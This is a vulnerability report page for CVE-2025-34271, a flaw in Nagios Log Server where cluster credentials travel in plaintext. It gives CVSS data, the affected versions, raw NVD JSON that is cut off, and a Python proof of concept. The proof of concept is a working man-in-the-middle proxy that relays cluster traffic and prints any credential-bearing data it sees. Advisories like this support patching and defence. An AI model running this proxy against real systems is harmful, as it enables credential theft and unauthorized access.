Security Vulnerability Report
中文
CVE-2025-34271 CVSS 9.8 CRITICAL

CVE-2025-34271

Published: 2025-10-30 22:15:48
Last Modified: 2025-11-06 16:29:46

Description

Nagios Log Server versions prior to 2024R2.0.2 contain a vulnerability in the cluster manager component when requesting sensitive credentials from peer nodes over an unencrypted channel even when SSL/TLS is enabled in the product configuration. As a result, an attacker positioned on the network path can intercept credentials in transit. Captured credentials could allow the attacker to authenticate as a cluster node or service account, enabling further unauthorized access, lateral movement, or system compromise.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:nagios:log_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:nagios:log_server:2024:r1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:nagios:log_server:2024:r1.0.1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:nagios:log_server:2024:r1.0.2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:nagios:log_server:2024:r1.1:*:*:*:*:*:* - VULNERABLE
Nagios Log Server < 2024R2.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-34271 PoC - Nagios Log Server Credential Interception # This PoC demonstrates Man-in-the-Middle attack to capture plaintext credentials import socket import ssl import threading import struct def handle_client(client_socket, target_host, target_port): """Forward traffic between client and target, logging potential credentials""" try: target_socket = socket.create_connection((target_host, target_port), timeout=10) # Check if connection uses SSL try: target_socket = ssl.wrap_socket(target_socket) print("[+] SSL connection established to target") except ssl.SSLError: print("[-] Target does not use SSL - plaintext communication") # Bidirectional forwarding with credential detection def forward(source, destination, direction): try: while True: data = source.recv(4096) if not data: break # Detect potential credential patterns if b'password' in data.lower() or b'auth' in data.lower() or b'key' in data.lower(): print(f"[*] Potential credential data captured ({direction}):") print(data.decode('utf-8', errors='ignore')[:200]) destination.send(data) except Exception as e: pass finally: try: source.close() destination.close() except: pass # Start forwarding threads client_thread = threading.Thread(target=forward, args=(client_socket, target_socket, "client->server")) server_thread = threading.Thread(target=forward, args=(target_socket, client_socket, "server->client")) client_thread.daemon = True server_thread.daemon = True client_thread.start() server_thread.start() client_thread.join() server_thread.join() except Exception as e: print(f"[-] Error: {e}") finally: client_socket.close() def start_mitm_proxy(listen_port, target_host, target_port): """Start MITM proxy server""" server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind(('0.0.0.0', listen_port)) server.listen(5) print(f"[*] MITM Proxy listening on port {listen_port}") print(f"[*] Redirecting traffic to {target_host}:{target_port}") while True: client_socket, addr = server.accept() print(f"[+] Connection from {addr[0]}:{addr[1]}") handler = threading.Thread(target=handle_client, args=(client_socket, target_host, target_port)) handler.daemon = True handler.start() if __name__ == "__main__": # Configuration - modify these values for target environment PROXY_PORT = 8080 NAGIOS_TARGET = "192.168.1.100" # Target Nagios Log Server IP NAGIOS_PORT = 8081 # Cluster communication port print("=" * 60) print("CVE-2025-34271 Nagios Log Server MITM PoC") print("=" * 60) start_mitm_proxy(PROXY_PORT, NAGIOS_TARGET, NAGIOS_PORT)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-34271", "sourceIdentifier": "[email protected]", "published": "2025-10-30T22:15:47.673", "lastModified": "2025-11-06T16:29:46.200", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nagios Log Server versions prior to 2024R2.0.2 contain a vulnerability in the cluster manager component when requesting sensitive credentials from peer nodes over an unencrypted channel even when SSL/TLS is enabled in the product configuration. As a result, an attacker positioned on the network path can intercept credentials in transit. Captured credentials could allow the attacker to authenticate as a cluster node or service account, enabling further unauthorized access, lateral movement, or system compromise."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-319"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nagios:log_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "2024", "matchCriteriaId": "87E74637-713C-4DD7-B97E-2F247B7B12B1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:log_server:2024:r1:*:*:*:*:*:*", "matchCriteriaId": "B93D415C-B2C0-42CE-B9B3-29C29A3DCC16"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:log_server:2024:r1.0.1:*:*:*:*:*:*", "matchCriteriaId": "997B64B5-A3F2-4D0E-B05E-CCA76D598C18"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:log_server:2024:r1.0.2:*:*:*:*:*:*", "matchCriteriaId": "D20F6746-83DD-49AE-8C3D-AF2FFB47A89E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:log_server:2024:r1.1:*:*:*:*:*:*", "matchCriteriaId": "5EF32AF5-19EA-495A-AB28-F78F33DDEC3F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:log_server:2024:r1.2:*:*:*:*:*:*", "matchCriteriaId": "4C26DE7A-37AA-4570-81C1-2E0C1A9026F7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:log_server:2024:r1.3:*:*:*:*:*:*", "matchCriteriaId": "52C22468-A773-49C8-81AD-9B76C26BFFD1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:log_server:2024:r1.3.1:*:*:*:*:*:*", "matchCriteriaId": "7CEC223A-A3EE-4C51-8B71-E19C73B9215C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:log_server:2024:r1.3.2:*:*:*:*:*:*", "matchCriteriaId": "DB7A3A2A-DF36-4495-A5FE-826085120997"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:log_server:2024:r1.3.3:*:*:*:*:*:*", "matchCriteriaId": "0AC10FEF-5606-4949-9E5E-E44FE1CE418D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:log_server:2024:r1.3.4:*:*:*:*:*:*", "matchCriteriaId": "EC2BBD0F-12FE-4A8F-894E-ABAEEE081E10"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:log_server:2024:r1.3.5:*:*:*:*:*:*", "matchCriteriaId": "16861134-A375-4918-8171-77C14A3351EB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:log_server:2024:r2:*:*:*:*:*:*", "matchCriteriaId": "6AAEC3D7-AD80-4647-9130-F42CE4785906"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios ... (truncated)